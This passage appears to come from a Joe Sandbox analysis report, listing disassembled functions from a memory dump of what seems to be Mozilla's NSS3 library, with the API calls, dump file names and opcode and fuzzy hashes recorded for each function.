Part of subcall function 6C713090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C71317E

SECKEY_CopyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C78DBBD), ref: 6C78DFCF
SECKEY_DestroyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C78DFEE

Part of subcall function 6C7286D0: PK11_Authenticate.NSS3(?,00000001,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C728716
Part of subcall function 6C7286D0: TlsGetValue.KERNEL32(?,?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C728727
Part of subcall function 6C7286D0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C72873B
Part of subcall function 6C7286D0: PR_Unlock.NSS3(?), ref: 6C72876F
Part of subcall function 6C7286D0: PR_SetError.NSS3(00000000,00000000), ref: 6C728787

Part of subcall function 6C74F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C74F854
Part of subcall function 6C74F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C74F868
Part of subcall function 6C74F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C74F882
Part of subcall function 6C74F820: free.MOZGLUE(04C483FF,?,?), ref: 6C74F889
Part of subcall function 6C74F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C74F8A4
Part of subcall function 6C74F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C74F8AB
Part of subcall function 6C74F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C74F8C9
Part of subcall function 6C74F820: free.MOZGLUE(280F10EC,?,?), ref: 6C74F8D0

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,6C78DBBD), ref: 6C78DFFC
PR_SetError.NSS3(FFFFE013,00000000,?,?,6C78DBBD), ref: 6C78E007

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Utilfree$CriticalSection$DeleteDestroy$Arena_CopyErrorK11_Private$AlgorithmAlloc_ArenaAuthenticateEnterFreeItem_ObjectPublicTag_UnlockValuememset
String ID:
API String ID: 3730430729-0
Opcode ID: 03eb99a4c4b2babbafaa7e5a8345eae3ca2697199484535f371186f2a7172cc6
Instruction ID: 56abbddbc12659cdf4d07303c1b7e841a607d337b7d8cd03445ecc79d7c10b89
Opcode Fuzzy Hash: 03eb99a4c4b2babbafaa7e5a8345eae3ca2697199484535f371186f2a7172cc6
Instruction Fuzzy Hash: 563148B1A0520257E7009A79AE8DA9B73B8AF6530CF040136EA19D7B03FF35D518D3E2

Function 6C706C50 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C706C8D
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C706CA9
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C706CC0
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,6C828FE0), ref: 6C706CFE

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Alloc_Arena$EncodeItem_memset
String ID:
API String ID: 2370200771-0
Opcode ID: b2c500e6563c5aaa55c3d74c2843a04c2b1880819d9ab8c088b3982e5c1b1007
Instruction ID: 00a368b289f08da3bcb8f152c4185e5c729c29dd27104a85c629bc6fffd401bc
Opcode Fuzzy Hash: b2c500e6563c5aaa55c3d74c2843a04c2b1880819d9ab8c088b3982e5c1b1007
Instruction Fuzzy Hash: 9F318EB1A002169FEB08CF65C995ABFBBF5EF85248B10443DDD05E7700EB31AA45CBA0

Function 6C814F00 Relevance: 6.1, APIs: 4, Instructions: 101fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000003,00000000,?,?,00000000), ref: 6C814F5D
free.MOZGLUE(?), ref: 6C814F74
free.MOZGLUE(?), ref: 6C814F82
GetLastError.KERNEL32 ref: 6C814F90

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: free$CreateErrorFileLast
String ID:
API String ID: 17951984-0
Opcode ID: c6baaaadddb1e1125e9e5f4dfdc33ead077202b80591fec23e00d6479125a6eb
Instruction ID: b66ea65f31ac5f80bb7be7deffb106159c1adda9a9ab2eb2bdaba2d30acd3df5
Opcode Fuzzy Hash: c6baaaadddb1e1125e9e5f4dfdc33ead077202b80591fec23e00d6479125a6eb
Instruction Fuzzy Hash: 493137B5A0420A4BEB11CB69DD81BDBB3F8EFC534CF040629E815A7B81D734E904CAA1

Function 6C776DE0 Relevance: 6.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

PR_MillisecondsToInterval.NSS3(?), ref: 6C776E36
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C776E57

Part of subcall function 6C7AC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7AC2BF

PR_MillisecondsToInterval.NSS3(?), ref: 6C776E7D
PR_MillisecondsToInterval.NSS3(?), ref: 6C776EAA

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: IntervalMilliseconds$ErrorValue
String ID:
API String ID: 3163584228-0
Opcode ID: 81a58aa29b5ca475441338c4adfd497f4d78b0ae5f21fdd978ebea4fc9afff56
Instruction ID: 19f7109fec0b0072e1f7ee7962cf35497f23ead6397276746cfbe5e5d4193415
Opcode Fuzzy Hash: 81a58aa29b5ca475441338c4adfd497f4d78b0ae5f21fdd978ebea4fc9afff56
Instruction Fuzzy Hash: 8431D73161061AEFDF241F34DE08396B7A9BB0131AF14063CD499D6A49E7B0A654CFB2

Function 6C75DDE0 Relevance: 6.1, APIs: 4, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,00000000,00000000,?,?,6C75DDB1,?,00000000), ref: 6C75DDF4

Part of subcall function 6C7614C0: TlsGetValue.KERNEL32 ref: 6C7614E0
Part of subcall function 6C7614C0: EnterCriticalSection.KERNEL32 ref: 6C7614F5
Part of subcall function 6C7614C0: PR_Unlock.NSS3 ref: 6C76150D

PORT_ArenaAlloc_Util.NSS3(?,00000054,?,00000000,00000000,?,?,6C75DDB1,?,00000000), ref: 6C75DE0B
PORT_Alloc_Util.NSS3(00000054,?,00000000,00000000,?,?,6C75DDB1,?,00000000), ref: 6C75DE17

Part of subcall function 6C760BE0: malloc.MOZGLUE(6C758D2D,?,00000000,?), ref: 6C760BF8
Part of subcall function 6C760BE0: TlsGetValue.KERNEL32(6C758D2D,?,00000000,?), ref: 6C760C15

PR_SetError.NSS3(FFFFE009,00000000), ref: 6C75DE80

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaValue$CriticalEnterErrorMark_SectionUnlockmalloc
String ID:
API String ID: 3725328900-0
Opcode ID: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction ID: 7900667c1a9f762ca8db5728f8ca856566827bf67b02eb81b8459551e299e76e
Opcode Fuzzy Hash: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction Fuzzy Hash: 8D31A4B1A017429BE700CF56DA84656F7A8BFB5318B64822AD81D87B01EB71E5A4CB90

Function 6C74FE20 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6C725ADC,?,00000000,00000001,?,?,00000000,?,6C71BA55,?,?), ref: 6C74FE4B
EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C74FE5F
PR_Unlock.NSS3(78831D74), ref: 6C74FEC2
PR_SetError.NSS3(00000000,00000000), ref: 6C74FED6

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 5699c13ab5d34a91113d6a3572973895f64439e63e88454d1385217483bd2ef4
Instruction ID: 7fa31749689d1405fbef634e2510820edc43fa3ad320e8f8c6990b71d5506cf7
Opcode Fuzzy Hash: 5699c13ab5d34a91113d6a3572973895f64439e63e88454d1385217483bd2ef4
Instruction Fuzzy Hash: 1F213131E00226ABD751AE65DE08BAA73B8BF0535EF484134ED0467E42E331E864CBD1

Function 6C753F50 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 6C753440: PK11_GetAllTokens.NSS3 ref: 6C753481
Part of subcall function 6C753440: PR_SetError.NSS3(00000000,00000000), ref: 6C7534A3
Part of subcall function 6C753440: TlsGetValue.KERNEL32 ref: 6C75352E
Part of subcall function 6C753440: EnterCriticalSection.KERNEL32(?), ref: 6C753542
Part of subcall function 6C753440: PR_Unlock.NSS3(?), ref: 6C75355B

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6C73E80C,00000000,00000000,?,?,?,?,6C748C5B,-00000001), ref: 6C753FA1
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6C73E80C,00000000,00000000,?,?,?,?,6C748C5B,-00000001), ref: 6C753FBA
PR_Unlock.NSS3(?,00000000,00000000,00000000,?,6C73E80C,00000000,00000000,?,?,?,?,6C748C5B,-00000001), ref: 6C753FFE
PR_SetError.NSS3 ref: 6C75401A

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$K11_Tokens
String ID:
API String ID: 3021504977-0
Opcode ID: a2854f534a6edb49ab61c74f8cfadc3c275af4b3cf28044f6086f02793ce42d9
Instruction ID: 0f60ae739c52aef5d0990487347056bfad92c67a1fe482d6cd0ca31ae2ea7c73
Opcode Fuzzy Hash: a2854f534a6edb49ab61c74f8cfadc3c275af4b3cf28044f6086f02793ce42d9
Instruction Fuzzy Hash: 713182709087048FD710AF69D68816AB7F0FF88358F51596DD88987B10EB31E895CB92

Function 6C744FB0 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6C74B60F,00000000), ref: 6C745003
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6C74B60F,00000000), ref: 6C74501C
PR_Unlock.NSS3(?,?,?,00000000,00000000,00000000,?,6C74B60F,00000000), ref: 6C74504B
free.MOZGLUE(?,00000000,00000000,00000000,?,6C74B60F,00000000), ref: 6C745064

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 1112172411-0
Opcode ID: 29d8fae72be00c07125ec53fcf891da571a98a98a10259ff909fb3eb347269a5
Instruction ID: 5d3e0ccf91606a746cad4d550895313b6f708e398cad355626fd7ba7ae64c809
Opcode Fuzzy Hash: 29d8fae72be00c07125ec53fcf891da571a98a98a10259ff909fb3eb347269a5
Instruction Fuzzy Hash: 1F3127B4A056068FDB80EF78D58456ABBF4FF09308B158579D85997711E730E890CBD1

Function 6C769F80 Relevance: 6.1, APIs: 4, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6C76A71A,FFFFFFFF,?,?), ref: 6C769FAB

Part of subcall function 6C7614C0: TlsGetValue.KERNEL32 ref: 6C7614E0
Part of subcall function 6C7614C0: EnterCriticalSection.KERNEL32 ref: 6C7614F5
Part of subcall function 6C7614C0: PR_Unlock.NSS3 ref: 6C76150D

PORT_ArenaGrow_Util.NSS3(?,?,?,00000000,6C76A71A,6C76A71A,00000000), ref: 6C769FD9

Part of subcall function 6C761340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6C70895A,00000000,?,00000000,?,00000000,?,00000000,?,6C6FF599,?,00000000), ref: 6C76136A
Part of subcall function 6C761340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6C70895A,00000000,?,00000000,?,00000000,?,00000000,?,6C6FF599,?,00000000), ref: 6C76137E
Part of subcall function 6C761340: PL_ArenaGrow.NSS3(?,6C6FF599,?,00000000,?,6C70895A,00000000,?,00000000,?,00000000,?,00000000,?,6C6FF599,?), ref: 6C7613CF
Part of subcall function 6C761340: PR_Unlock.NSS3(?,?,6C70895A,00000000,?,00000000,?,00000000,?,00000000,?,6C6FF599,?,00000000), ref: 6C76145C

PORT_ArenaAlloc_Util.NSS3(?,00000008,6C76A71A,6C76A71A,00000000), ref: 6C76A009
PR_SetError.NSS3(FFFFE013,00000000,6C76A71A,6C76A71A,00000000), ref: 6C76A045

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Arena$Util$CriticalEnterSectionUnlockValue$Alloc_ErrorGrowGrow_Mark_
String ID:
API String ID: 3535121653-0
Opcode ID: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction ID: dfe0672f5d9268ec018171f8365a97da83d3bd9c4148b6fef1a8cec6e336645b
Opcode Fuzzy Hash: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction Fuzzy Hash: 9F21B0B4600216ABE7009F16DD44F66B7A9FB8136CF108138DC6987F81FB76E818CB90

Function 6C772DF0 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C772E08

Part of subcall function 6C7614C0: TlsGetValue.KERNEL32 ref: 6C7614E0
Part of subcall function 6C7614C0: EnterCriticalSection.KERNEL32 ref: 6C7614F5
Part of subcall function 6C7614C0: PR_Unlock.NSS3 ref: 6C76150D

PORT_NewArena_Util.NSS3(00000400), ref: 6C772E1C
PORT_ArenaAlloc_Util.NSS3(00000000,00000064), ref: 6C772E3B
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C772E95

Part of subcall function 6C761200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C7088A4,00000000,00000000), ref: 6C761228
Part of subcall function 6C761200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6C761238
Part of subcall function 6C761200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6C7088A4,00000000,00000000), ref: 6C76124B
Part of subcall function 6C761200: PR_CallOnce.NSS3(6C862AA4,6C7612D0,00000000,00000000,00000000,?,6C7088A4,00000000,00000000), ref: 6C76125D
Part of subcall function 6C761200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6C76126F
Part of subcall function 6C761200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6C761280
Part of subcall function 6C761200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6C76128E
Part of subcall function 6C761200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6C76129A
Part of subcall function 6C761200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6C7612A1

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: ArenaUtil$CriticalSection$Arena_EnterFreePoolUnlockValuefree$Alloc_CallClearDeleteMark_Once
String ID:
API String ID: 1441289343-0
Opcode ID: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction ID: 5f42288251e9cbd0d7e6edb922e2e58cdc5a7b628e7aa61067f8e0d67881069a
Opcode Fuzzy Hash: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction Fuzzy Hash: 7D21D7B1E003498BEB10CF559E4CBAA37686F9130CF111279DD189B752F7F1E594C2A2

Function 6C741870 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C7418A6
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,6C726C34,?,?,00000001,00000000,00000007,?), ref: 6C7418B6
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C726C34,?,?), ref: 6C7418E1
PR_SetError.NSS3(00000000,00000000), ref: 6C7418F9

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 82a424cf6e35ce1ac1db0e0ca0bd57c94716e9a393c36c6d1cd85f7dafd30b9a
Instruction ID: 047d45aa5510e0c7a0765e3c2c749f42f1892295563c8669c51ef17dd39a4aaa
Opcode Fuzzy Hash: 82a424cf6e35ce1ac1db0e0ca0bd57c94716e9a393c36c6d1cd85f7dafd30b9a
Instruction Fuzzy Hash: 3D21CF71E002199BDB00AF68DC49AEA7B74BF0A318F444178ED0557702E735A928CBE1

Function 6C72ACB0 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C72ACC2

Part of subcall function 6C702F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C702F0A
Part of subcall function 6C702F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C702F1D

Part of subcall function 6C702AE0: PORT_Strdup_Util.NSS3(?,?,?,?,?,6C700A1B,00000000), ref: 6C702AF0
Part of subcall function 6C702AE0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C702B11

CERT_DestroyCertList.NSS3(00000000), ref: 6C72AD5E

Part of subcall function 6C7457D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6C70B41E,00000000,00000000,?,00000000,?,6C70B41E,00000000,00000000,00000001,?), ref: 6C7457E0
Part of subcall function 6C7457D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6C745843

CERT_DestroyCertList.NSS3(?), ref: 6C72AD36

Part of subcall function 6C702F50: CERT_DestroyCertificate.NSS3(?), ref: 6C702F65
Part of subcall function 6C702F50: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C702F83

free.MOZGLUE(?), ref: 6C72AD4F

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$CertDestroyList$Arena_free$Alloc_ArenaCertificateFreeK11_Strdup_Tokenstolower
String ID:
API String ID: 132756963-0
Opcode ID: ddddfa22a30ac31470ce1ea5c4929861c7aa0189b717c5cd17d969e0349ffccf
Instruction ID: 9520977ef3dcfdf1ad9803b8e3fd5775f442a46a7a3f5c03bb3438c4a6ac5e05
Opcode Fuzzy Hash: ddddfa22a30ac31470ce1ea5c4929861c7aa0189b717c5cd17d969e0349ffccf
Instruction Fuzzy Hash: B121C3B2D002148BEB10DF64EA0A5EEB7F4EF05258F454078D814BB700FB35AA49CBE1

Function 6C753C80 Relevance: 6.1, APIs: 4, Instructions: 65COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C753C9E
EnterCriticalSection.KERNEL32(?), ref: 6C753CAE
PR_Unlock.NSS3(?), ref: 6C753CEA
PR_SetError.NSS3(00000000,00000000), ref: 6C753D02

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 528fea61e8485242f3efeb0b2a8c2e2485813f1db6f0953c6489138e326413bf
Instruction ID: db6035457992bd9ceb12707c770c8bcaf753f7160638dc5c48d2b8eb75df9f7d
Opcode Fuzzy Hash: 528fea61e8485242f3efeb0b2a8c2e2485813f1db6f0953c6489138e326413bf
